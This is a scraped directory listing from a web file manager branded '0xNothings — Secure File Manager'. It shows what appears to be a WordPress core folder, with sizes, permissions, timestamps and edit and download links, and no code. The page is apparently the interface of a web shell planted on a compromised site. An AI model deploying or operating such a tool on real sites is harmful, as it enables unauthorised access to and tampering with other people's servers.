SimplePie DIR
- drwxr-xr-x 2025-10-16 14:15:36
Edit Download
sitemaps DIR
- drwxr-xr-x 2026-09-16 09:13:52
Edit Download
- drwxr-xr-x 2025-12-30 17:25:38
Edit Download
- drwxr-xr-x 2026-02-19 20:55:46
Edit Download
Text DIR
- drwxr-xr-x 2025-09-17 09:14:24
Edit Download
- drwxr-xr-x 2025-12-26 07:46:34
Edit Download
widgets DIR
- drwxr-xr-x 2026-02-15 17:48:44
Edit Download
32.03 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
11.52 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
39.17 KB lrwxr-xr-x 2026-10-29 02:58:22
Edit Download
2.49 KB lrw-r--r-- 2026-04-26 18:30:40
Edit Download
11.90 KB lrw-r--r-- 2025-09-03 06:48:32
Edit Download
19.38 KB lrw-r--r-- 2026-03-23 03:28:48
Edit Download
7.45 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
28.05 KB lrw-r--r-- 2026-03-12 17:54:40
Edit Download
316 B lrw-r--r-- 2021-08-11 03:38:02
Edit Download
15.24 KB lrw-r--r-- 2026-02-10 11:07:40
Edit Download
61.99 KB lrwxr-xr-x 2026-09-18 11:12:50
Edit Download
17.83 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
121.29 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
12.47 KB lrw-r--r-- 2025-03-19 17:45:36
Edit Download
15.07 KB lrw-r--r-- 2024-03-23 08:50:12
Edit Download
10.76 KB lrw-r--r-- 2026-03-14 13:53:50
Edit Download
13.17 KB lrw-r--r-- 2025-04-29 17:14:38
Edit Download
33.97 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
42.56 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
55.65 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
12.53 KB lrw-r--r-- 2026-02-23 00:04:46
Edit Download
29.30 KB lrw-r--r-- 2026-03-14 18:25:50
Edit Download
539 B lrw-r--r-- 2024-09-30 17:20:20
Edit Download
367 B lrw-r--r-- 2022-06-17 05:50:14
Edit Download
2.55 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
42.65 KB lrw-r--r-- 2025-08-25 07:40:30
Edit Download
401 B lrw-r--r-- 2022-06-17 05:50:14
Edit Download
6.61 KB lrw-r--r-- 2024-09-17 15:38:16
Edit Download
664 B lrw-r--r-- 2020-07-21 07:28:02
Edit Download
20.61 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
2.18 KB lrw-r--r-- 2023-04-05 07:42:26
Edit Download
453 B lrw-r--r-- 2024-09-30 17:20:20
Edit Download
457 B lrw-r--r-- 2021-01-26 08:15:58
Edit Download
36.83 KB lrw-r--r-- 2023-02-03 08:05:20
Edit Download
2.41 KB lrw-r--r-- 2023-09-14 07:16:20
Edit Download
8.28 KB lrw-r--r-- 2023-09-08 04:02:24
Edit Download
13.89 KB lrw-r--r-- 2024-03-18 10:16:14
Edit Download
11.76 KB lrw-r--r-- 2025-01-21 15:56:24
Edit Download
2.65 KB lrw-r--r-- 2023-09-14 07:16:20
Edit Download
7.43 KB lrw-r--r-- 2023-09-14 07:16:20
Edit Download
17.58 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
5.16 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
16.70 KB lrw-r--r-- 2025-04-03 08:23:28
Edit Download
8.07 KB lrw-r--r-- 2026-02-13 19:07:42
Edit Download
2.92 KB lrw-r--r-- 2025-09-28 16:26:28
Edit Download
1.32 KB lrw-r--r-- 2022-09-12 10:17:14
Edit Download
4.60 KB lrw-r--r-- 2025-08-07 09:17:34
Edit Download
11.57 KB lrw-r--r-- 2026-01-04 23:54:34
Edit Download
2.50 KB lrw-r--r-- 2025-10-21 01:44:02
Edit Download
1.95 KB lrw-r--r-- 2026-03-10 05:59:34
Edit Download
11.29 KB lrwxr-xr-x 2026-10-29 02:58:22
Edit Download
4.28 KB lrw-r--r-- 2025-12-03 14:17:34
Edit Download
10.02 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
68.28 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
6.27 KB lrw-r--r-- 2026-01-11 01:20:42
Edit Download
7.40 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
2.06 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
6.91 KB lrw-r--r-- 2026-01-04 23:54:34
Edit Download
5.18 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
16.82 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
27.57 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
3.93 KB lrw-r--r-- 2026-01-04 23:54:34
Edit Download
47.89 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
16.84 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
14.83 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
25.50 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
198.61 KB lrwxr-xr-x 2026-10-29 02:58:21
Edit Download
56.67 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
10.45 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
10.95 KB lrw-r--r-- 2024-10-13 13:39:12
Edit Download
29.25 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
70.89 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
35.13 KB lrw-r--r-- 2026-02-24 01:03:36
Edit Download
16.69 KB lrw-r--r-- 2026-01-27 19:37:42
Edit Download
2.59 KB lrw-r--r-- 2025-12-06 22:46:34
Edit Download
39.88 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
70.54 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
15.54 KB lrw-r--r-- 2026-01-05 10:34:58
Edit Download
7.34 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
253 B lrw-r--r-- 2024-09-27 13:58:14
Edit Download
7.96 KB lrw-r--r-- 2024-10-22 04:46:16
Edit Download
3.23 KB lrw-r--r-- 2025-07-30 17:33:30
Edit Download
969 B lrw-r--r-- 2024-09-30 17:20:20
Edit Download
760 B lrw-r--r-- 2026-08-20 15:18:10
Edit Download
17.17 KB lrwxr-xr-x 2026-09-18 11:12:51
Edit Download
7.10 KB lrw-r--r-- 2026-01-05 00:28:26
Edit Download
12.95 KB lrw-r--r-- 2025-09-03 06:48:32
Edit Download
6.53 KB lrw-r--r-- 2023-06-22 09:27:24
Edit Download
3.43 KB lrw-r--r-- 2026-03-10 06:54:48
Edit Download
5.84 KB lrw-r--r-- 2023-06-22 09:06:26
Edit Download
1.97 KB lrw-r--r-- 2022-12-15 16:02:18
Edit Download
4.14 KB lrw-r--r-- 2026-01-30 07:22:40
Edit Download
2.91 KB lrw-r--r-- 2022-09-12 10:17:14
Edit Download
16.37 KB lrw-r--r-- 2026-01-09 23:33:50
Edit Download
40.76 KB lrwxr-xr-x 2026-10-09 03:09:09
Edit Download
5.67 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
9.67 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
20.25 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
42.44 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
17.05 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
7.27 KB lrw-r--r-- 2024-02-27 17:08:16
Edit Download
6.62 KB lrw-r--r-- 2025-05-11 11:46:30
Edit Download
16.45 KB lrw-r--r-- 2026-02-13 12:22:44
Edit Download
1.79 KB lrw-r--r-- 2024-02-05 19:55:14
Edit Download
29.79 KB lrw-r--r-- 2026-01-06 00:38:04
Edit Download
6.67 KB lrw-r--r-- 2025-10-21 10:29:34
Edit Download
8.98 KB lrw-r--r-- 2025-06-18 15:09:52
Edit Download
19.52 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
12.12 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
17.11 KB lrw-r--r-- 2025-04-04 16:30:28
Edit Download
6.74 KB lrw-r--r-- 2024-03-05 23:35:12
Edit Download
33.13 KB lrwxr-xr-x 2026-10-09 03:09:09
Edit Download
4.95 KB lrw-r--r-- 2026-01-06 00:06:58
Edit Download
4.25 KB lrw-r--r-- 2025-10-01 07:53:28
Edit Download
24.62 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
29.95 KB lrw-r--r-- 2026-01-28 15:25:42
Edit Download
8.60 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
160.30 KB lrwxr-xr-x 2026-10-09 03:09:09
Edit Download
6.72 KB lrw-r--r-- 2022-10-03 22:29:14
Edit Download
10.90 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
4.80 KB lrw-r--r-- 2026-03-01 17:34:46
Edit Download
3.44 KB lrw-r--r-- 2026-03-01 17:34:46
Edit Download
11.19 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
62.20 KB lrw-r--r-- 2025-11-24 20:30:36
Edit Download
2.46 KB lrw-r--r-- 2023-09-08 04:02:24
Edit Download
9.11 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
39.79 KB lrw-r--r-- 2026-08-09 02:43:42
Edit Download
35.89 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
7.15 KB lrw-r--r-- 2025-02-11 05:44:22
Edit Download
3.47 KB lrw-r--r-- 2025-09-16 17:17:32
Edit Download
1.86 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
30.74 KB lrw-r--r-- 2025-12-22 17:44:38
Edit Download
7.65 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
7.70 KB lrw-r--r-- 2026-08-20 15:18:09
Edit Download
13.00 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
19.12 KB lrw-r--r-- 2025-06-16 11:38:32
Edit Download
18.12 KB lrw-r--r-- 2025-03-26 16:12:28
Edit Download
39.80 KB lrw-r--r-- 2025-12-22 17:44:38
Edit Download
5.14 KB lrw-r--r-- 2026-03-03 00:24:46
Edit Download
979 B lrw-r--r-- 2024-02-14 13:57:10
Edit Download
18.48 KB lrw-r--r-- 2026-08-20 15:18:09
Edit Download
10.24 KB lrw-r--r-- 2024-11-19 21:20:24
Edit Download
1.76 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
34.86 KB lrw-r--r-- 2026-02-13 12:22:44
Edit Download
7.19 KB lrw-r--r-- 2024-06-06 02:32:16
Edit Download
216.85 KB lrwxr-xr-x 2026-09-18 11:12:51
Edit Download
64.27 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
28.35 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
4.69 KB lrw-r--r-- 2025-02-18 17:02:22
Edit Download
2.88 KB lrw-r--r-- 2026-01-11 01:20:42
Edit Download
43.07 KB lrw-r--r-- 2026-01-11 01:20:42
Edit Download
2.29 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
22.65 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
28.74 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
12.98 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
4.02 KB lrwxr-xr-x 2026-09-18 11:12:50
Edit Download
18.02 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
212.20 KB lrwxr-xr-x 2026-09-18 11:13:02
Edit Download
25.90 KB lrwxr-xr-x 2026-09-18 11:12:51
Edit Download
118.59 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
373 B lrw-r--r-- 2022-09-20 08:47:12
Edit Download
343 B lrw-r--r-- 2022-09-20 08:47:12
Edit Download
338 B lrw-r--r-- 2022-09-20 08:47:12
Edit Download
100.79 KB lrw-r--r-- 2026-05-07 20:51:42
Edit Download
147.10 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
18.93 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
21.95 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
32.15 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
24.60 KB lrw-r--r-- 2026-06-29 10:08:10
Edit Download
45.18 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
400 B lrw-r--r-- 2022-06-17 05:50:14
Edit Download
11.10 KB lrw-r--r-- 2026-03-24 06:49:52
Edit Download
38.57 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
2.23 KB lrw-r--r-- 2026-08-20 15:18:09
Edit Download
189.43 KB lrw-r--r-- 2026-03-12 17:54:40
Edit Download
338 B lrw-r--r-- 2022-06-17 05:50:14
Edit Download
38.30 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
4.00 KB lrw-r--r-- 2026-01-06 00:06:58
Edit Download
5.38 KB lrw-r--r-- 2024-03-04 07:11:10
Edit Download
3.04 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
2.61 KB lrw-r--r-- 2020-01-28 19:15:18
Edit Download
1.16 KB lrw-r--r-- 2020-01-28 19:15:18
Edit Download
4.04 KB lrw-r--r-- 2024-03-04 07:11:10
Edit Download
3.71 KB lrw-r--r-- 2020-01-28 19:15:18
Edit Download
24.60 KB lrw-r--r-- 2026-01-28 17:13:42
Edit Download
9.56 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
349.29 KB lrwxr-xr-x 2026-09-18 11:12:51
Edit Download
288.56 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
20.01 KB lrw-r--r-- 2026-05-19 06:54:44
Edit Download
8.45 KB lrw-r--r-- 2025-12-22 15:15:32
Edit Download
179.88 KB lrwxr-xr-x 2026-09-18 11:12:50
Edit Download
20.29 KB lrw-r--r-- 2026-02-10 09:50:52
Edit Download
28.28 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
5.72 KB lrw-r--r-- 2025-02-24 08:13:24
Edit Download
4.63 KB lrw-r--r-- 2023-07-10 17:08:26
Edit Download
6.19 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
7.62 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
89.72 KB lrwxr-xr-x 2026-10-29 02:58:21
Edit Download
69.74 KB lrw-r--r-- 2026-05-07 15:53:44
Edit Download
156.39 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
55.15 KB lrw-r--r-- 2026-02-28 14:29:46
Edit Download
162 B lrw-r--r-- 2019-10-08 11:49:04
Edit Download
64.22 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
231.25 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
65.17 KB lrw-r--r-- 2026-02-03 14:01:46
Edit Download
25.71 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
4.81 KB lrw-r--r-- 2024-06-13 15:20:14
Edit Download
6.48 KB lrw-r--r-- 2023-02-23 19:53:20
Edit Download
21.28 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
2.79 KB lrw-r--r-- 2025-10-17 11:44:32
Edit Download
90.36 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
19.58 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
3.69 KB lrw-r--r-- 2023-05-02 05:56:24
Edit Download
4.10 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
40.75 KB lrw-r--r-- 2026-02-11 16:41:46
Edit Download
25.37 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
43.23 KB lrw-r--r-- 2026-03-10 07:04:44
Edit Download
102.78 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
6.18 KB lrw-r--r-- 2025-02-03 14:22:24
Edit Download
124.92 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
36.25 KB lrwxr-xr-x 2026-09-18 11:12:51
Edit Download
6.90 KB lrw-r--r-- 2026-01-09 23:59:48
Edit Download
67.51 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
10.62 KB lrw-r--r-- 2024-12-20 18:05:24
Edit Download
298.43 KB lrwxr-xr-x 2026-10-09 03:09:09
Edit Download
36.67 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
200 B lrw-r--r-- 2020-11-12 05:47:08
Edit Download
200 B lrw-r--r-- 2020-11-12 05:47:08
Edit Download
100.54 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
30.51 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
19.11 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
5.06 KB lrw-r--r-- 2022-04-06 10:03:04
Edit Download
277 B lrw-r--r-- 2026-08-20 15:18:31
Edit Download
22.66 KB lrw-r--r-- 2025-09-03 06:48:32
Edit Download
159.72 KB lrw-r--r-- 2026-08-20 15:18:09
Edit Download
12.02 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
258 B lrw-r--r-- 2020-02-06 01:03:12
Edit Download
23.47 KB lrw-r--r-- 2026-01-05 00:34:34
Edit Download
3.16 KB lrw-r--r-- 2021-05-15 12:08:06
Edit Download
11.60 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
441 B lrw-r--r-- 2020-11-12 05:47:08
Edit Download
7.86 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
174.13 KB lrw-r--r-- 2026-08-20 15:18:11
Edit Download
544 B lrw-r--r-- 2023-09-30 18:52:28
Edit Download
4.17 KB lrw-r--r-- 2026-03-10 15:41:48
Edit Download
37.92 KB lrwxr-xr-x 2026-09-23 08:12:07
Edit Download
1.85 KB lrw-r--r-- 2026-01-05 06:46:10
Edit Download
2.82 KB lrw-r--r-- 2026-01-05 10:34:58
Edit Download
3.96 KB lrw-r--r-- 2026-01-11 01:06:50
Edit Download
9.26 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
131.75 KB lrwxr-xr-x 2026-09-18 11:13:02
Edit Download
37.37 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
176.08 KB lrw-r--r-- 2026-08-20 15:18:14
Edit Download
6.81 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
6.45 KB lrw-r--r-- 2026-08-20 15:18:31
Edit Download
1.08 KB lrwxr-xr-x 2026-10-29 02:58:22
Edit Download
18.64 KB lrw-r--r-- 2026-08-20 15:18:10
Edit Download
602 B lrw-r--r-- 2026-01-19 11:28:46
Edit Download
69.21 KB lrw-r--r-- 2026-08-20 15:18:09
Edit Download
445 B lrw-r--r-- 2022-07-21 17:15:12
Edit Download
792 B lrw-r--r-- 2026-08-20 15:18:10
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI